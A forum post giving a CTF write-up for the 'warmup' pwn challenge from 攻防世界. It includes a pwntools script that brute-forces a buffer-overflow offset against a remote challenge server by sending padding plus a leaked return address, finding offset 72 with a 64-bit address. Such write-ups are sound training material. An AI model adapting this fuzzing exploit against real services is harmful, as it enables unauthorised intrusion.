首页
社区
课程
招聘
[原创]攻防世界PWN进阶区(warmup)
2020-2-6 14:13 3471

[原创]攻防世界PWN进阶区(warmup)

2020-2-6 14:13
3471

萌新报道,放几个攻防世界pwn的wp,希望顺带可以转个正

 

做过的第一个fuzz的题,记录一下

warmup

在这里插入图片描述
这是一个没有附件的题,看起来题目是要求我们fuzz

 

nc连接上后可以发现有个输入点,并且还给了我们一个十六进制数,看起来是个地址
在这里插入图片描述
那首先根据这些我们可以先将fuzz函数写出来,分三种情况(不用他给的地址,用p32发送,用p64送)

def fuzz(r, num, flag):
    payload = 'a' * num
    if flag==1:
        payload += p32(addr)
    if flag==2:
        payload += p64(addr)
    r.recvuntil(">")
    r.sendline(payload)

然后就可以写我们的exp了

from pwn import *
#context.log_level = 'debug'
addr = 0x40060d

def fuzz(r, num, flag):
    payload = 'a' * num
    if flag==1:
        payload += p32(addr)
    if flag==2:
        payload += p64(addr)
    r.recvuntil(">")
    r.sendline(payload)

def main():
    for i in range(1000):
        print(i)
        for j in range(3):
            try:
                r = remote("111.198.29.45", 46588)
                fuzz(r, i, j)
                text = r.recv()
                print('text.len='+str(len(text))+'text='+text)
                print('num='+str(i)+' flag='+str(j))
                r.interactive()
            except:
                r.close()

if __name__ == '__main__':
    main()

结果如下
在这里插入图片描述
可以看到当num等于72,flag等于2,也就是说将题目给我们的地址以p64发送的时候会直接返回我们需要的答案


[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

上传的附件:
  • a.py (0.68kb,10次下载)
收藏
点赞1
打赏
分享
最新回复 (2)
雪    币: 2510
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
mb_xghoecki 2020-2-6 23:05
2
1
感谢分享
雪    币:
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
mb_yqicvidm 2020-2-25 18:51
3
0
大佬,有点问题想请教。wechat791249269
游客
登录 | 注册 方可回帖
返回